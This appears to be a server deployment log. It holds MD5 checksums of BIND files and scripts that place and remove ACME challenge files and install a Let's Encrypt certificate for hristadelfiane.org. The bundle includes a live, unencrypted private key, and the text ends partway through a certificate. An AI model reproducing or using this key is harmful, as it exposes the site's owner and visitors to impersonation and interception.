MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= 6f1cdaf5040cf6c289773893efd4d401
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= bc8353cc1ce247e2310ed5e517eb3a01
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-05-05 09:16:45: Establishing a connection
2026-05-05 09:16:45: Establishing a connection
2026-05-05 09:16:45: 

PUT: /tmp/pkp338818

#!/bin/bash
if [ -d "/var/www/hristadelfiane_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-05-05 09:16:45: 

chmod 755 /tmp/pkp338818; /tmp/pkp338818; rm /tmp/pkp338818

2026-05-05 09:16:45: 


1


2026-05-05 09:16:47: Establishing a connection
2026-05-05 09:16:47: 

PUT: /tmp/pkp507849

#!/bin/bash
mkdir -p "/var/www/hristadelfiane_www/.well-known/acme-challenge/"
cd "/var/www/hristadelfiane_www/.well-known/acme-challenge/"
cat > j9OaiXcti0R9xe733xxgDGAFVaCf68-buRZCjffC2Bk <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
j9OaiXcti0R9xe733xxgDGAFVaCf68-buRZCjffC2Bk.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 j9OaiXcti0R9xe733xxgDGAFVaCf68-buRZCjffC2Bk
cat > LpuzMKrSBMQs1ekVIuq_x6kEgeNmSdAz1RcHl_pU15c <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
LpuzMKrSBMQs1ekVIuq_x6kEgeNmSdAz1RcHl_pU15c.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 LpuzMKrSBMQs1ekVIuq_x6kEgeNmSdAz1RcHl_pU15c


2026-05-05 09:16:47: 

chmod 755 /tmp/pkp507849; /tmp/pkp507849; rm /tmp/pkp507849

2026-05-05 09:16:47: 




2026-05-05 09:16:55: Establishing a connection
2026-05-05 09:16:55: 

PUT: /tmp/pkp490933

#!/bin/bash
mkdir -p "/var/www/hristadelfiane_www/.well-known/acme-challenge/"
cd "/var/www/hristadelfiane_www/.well-known/acme-challenge/"
rm j9OaiXcti0R9xe733xxgDGAFVaCf68-buRZCjffC2Bk
rm LpuzMKrSBMQs1ekVIuq_x6kEgeNmSdAz1RcHl_pU15c


2026-05-05 09:16:55: 

chmod 755 /tmp/pkp490933; /tmp/pkp490933; rm /tmp/pkp490933

2026-05-05 09:16:55: 




2026-05-05 09:16:55: Establishing a connection
2026-05-05 09:16:56: 

PUT: /tmp/pkp867591

#!/bin/bash
temp_file=$(mktemp)
TARGET=cb3ec3692863cad5b3b14321e7c0e518.crt

cat > $temp_file <<'endmsg'
96:a9:c6:78:f5:31:df:be:7f:4c:76:8c:ae:55:32:82

-----BEGIN CERTIFICATE-----
MIIFFjCCA/6gAwIBAgISBad8EtXEaICvealQh8Bw4478MA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjYwNTA1MDgxODI0WhcNMjYwODAzMDgxODIzWjAdMRswGQYDVQQD
ExJocmlzdGFkZWxmaWFuZS5vcmcwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQDLynwuMQa2WWhcwRnlq2OuPUAbNZ5Oh4nc701ih4kZEWFPDLd9MCeGcJVZ
6yTn2Qy1gDWrqjGwqeoi69rI67AXP7KweHCrQc2NCDUz38G+kS8jwegbqtuDtgm5
3NdcRsIMGV+v9vahBYVLAEcGddGtIkYSONsCt/1P/v9V+wfTbteGYk5ZMcRIgOC2
PxkvcuShGxpQldid1o+KZO17b4+mJIvgS2DVHJ+Lxg03O6QpIWw8tH85ZQHbDfj9
Wch+UGrMFlT+qHUVUQGnirKuu4SL842RToUHhklEQ9uNK1eIEnTaIlvz7QKfkXgK
1ZiFzK8CirN8+PJPJuH5pVYgl2tjAgMBAAGjggI4MIICNDAOBgNVHQ8BAf8EBAMC
BaAwEwYDVR0lBAwwCgYIKwYBBQUHAwEwDAYDVR0TAQH/BAIwADAdBgNVHQ4EFgQU
yGCjzu4PpQcdEIYgI5/SfpcHge8wHwYDVR0jBBgwFoAU56ufDywzoFPTXk94yLKE
DjvWkjMwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRwOi8vcjEzLmku
bGVuY3Iub3JnLzA1BgNVHREELjAsghJocmlzdGFkZWxmaWFuZS5vcmeCFnd3dy5o
cmlzdGFkZWxmaWFuZS5vcmcwEwYDVR0gBAwwCjAIBgZngQwBAgEwLwYDVR0fBCgw
JjAkoCKgIIYeaHR0cDovL3IxMy5jLmxlbmNyLm9yZy8xMjUuY3JsMIIBCwYKKwYB
BAHWeQIEAgSB/ASB+QD3AHUAr2eIO1ewTt2Pptl+9i6o64EKx3Fg8CReVdYML+eF
hzoAAAGd920XlwAABAMARjBEAiApZgHXZRetQjRCcmzcT9n9g7dzQEihuBlcGzGv
fx9RHQIgHl2XR89Ap4c2D6SPXAPmsgm6qcDcJFMXBioZVG8UezIAfgBs/lAZQ6he
qRa8UtEz5NzJHvFBHH0lhCDRc4CeGBjrOgAAAZ33bRfuAAgAAAUAChgqsAQDAEcw
RQIhAI8r+50pGng7f/jy4QmGnp0nPZF2NI6ZUIIlCfUY2houAiBCIkopkQItj9xE
CNQlHwmqNNmJyKrwRrEqGJdXEK09+zANBgkqhkiG9w0BAQsFAAOCAQEACl9s+FTY
RnXKo7aotao15FjIJVY6Gh/wK6P8VJ410OSQYjuHZBScmXVf9vUdP8zGPibxvDf/
8zt0I83OXJVmqidoBwabzYqsXzPQNec/AdHTnz3zPA6li5UsjW2YtpbfrtIJZNKs
lOTh90nZ2qCefOC/m0p0Ms33aFQArjFjX0T4IQln9SCoFntZz+kQDsnkz5HN+mDo
eRQJoz3vG8wfOFcIS/shYWVmLtibhcPxU4WdMj7lK3qbA1aaqoU6qX1GFS2pGknZ
E93CQ0GsnYh1bmE2jhBVR9ItBTbaTN7kkUZqFd6xpgfcTOMB20pIHoDWaeJMlXjr
oJ49BLjjCa2ebA==
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQDLynwuMQa2WWhc
wRnlq2OuPUAbNZ5Oh4nc701ih4kZEWFPDLd9MCeGcJVZ6yTn2Qy1gDWrqjGwqeoi
69rI67AXP7KweHCrQc2NCDUz38G+kS8jwegbqtuDtgm53NdcRsIMGV+v9vahBYVL
AEcGddGtIkYSONsCt/1P/v9V+wfTbteGYk5ZMcRIgOC2PxkvcuShGxpQldid1o+K
ZO17b4+mJIvgS2DVHJ+Lxg03O6QpIWw8tH85ZQHbDfj9Wch+UGrMFlT+qHUVUQGn
irKuu4SL842RToUHhklEQ9uNK1eIEnTaIlvz7QKfkXgK1ZiFzK8CirN8+PJPJuH5
pVYgl2tjAgMBAAECggEAJwADL9vWCwOlQ0r5J8ja9LdoE0z5lNG/gnaReq+xfwii
dLxcSSr0BXh6PJERqQUSt5FntAiIJeT+l9xHLHheZLSd/8Os3Dllmv3dIKZLr6qd
ONydDN5v0A8AYX9v/4rTC/m3JDfBDyO9VJMjBIt7qwSKIGadEzIe2jZUqyG1Z7LR
OR62s3dX9hDccrOnW6o25gBG8Q4vRcRMPSAtHBR5D3QIouWZE9Ktg199BDyLspeS
TQ5iV0hBWX4/i+Y30dbhurHDeABa61S35mtc94IR/pX94cFQbOPfzxRFjRbZNaa3
m68EHs22YPK7Vw1ulEiOjowwEVWoYb2FUTHVkycNUQKBgQDrjpKYzoNsrKoFwwhx
EE0uOjX8oM7TBeJFLRuJ3/bsacHQQ8pVzAaWBIgzauaeXJ20/rzqz4BKkHFFkp6r
UN7XxqrVKEa+2SQW1UmWOPIdRr3DenaG57c2PxjjruW/2q5cmOltyVj/TCcJ4XYW
+RNX0prh8TByxIFQBOgALyTNZwKBgQDdeijzlrkMq4oOmZCBrjMCXmuwijz+Pxd6
ysPaUJxVl6So77I8MrCGPbMBHb3l2ioM9QslbFSjqSp/hzBxzVUWuWsMByCz/we+
TRr0UD/XMXO/ubPR6LEjC0ok3jkNxH+K9XFFFPILb6R5eVRJi+zXgv79+JTnaDwv
UD2qwLu4pQKBgDadYNnzD7+zrNwXIy7rw6lTL886DZoZxCOb2MW32s1nm9tIzHHm
EyTXOikJwRy4how/f9fFco5XPRwPaaB46KII2vT/GKAJQnfUzfH5lBE7pKXdD/wp
X25BZOjtVTGNZ13qyjx9MZhHtMlyr+mVqGl1WBnIzR3e98hwysW4KIVDAoGBALcC
XJh78UlA7gGGb1xZH5lTgFUOxbupUrOKnS/m8GfhuJRIDNWlZSxoC2ReuS4XiivO
yHkR/RaHkLB0e1luPGNcr9Huid1yXWmouR8suLQPDwBcaPSI/OZiS9APOMHhnyqq
CgD1f9RnWlduJHHph7nFawNdx104SpMmEO7p97RpAoGACs0SXL6bzskc84t2a/Ws
bRpLrR1HzAn04jtK0csXWa3b6iCv0jNaYRx8A/GV1toVHihT+lfkFvLEWy4ckLuy
i2Mx7jfxbOckYrGT81IteNFcW/Cpk2PrvhUhHwP65C5Pg/4HQE+3NIqV/nz2LbX8
/QvNBkWJDEgXKuj48E3xusY=
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
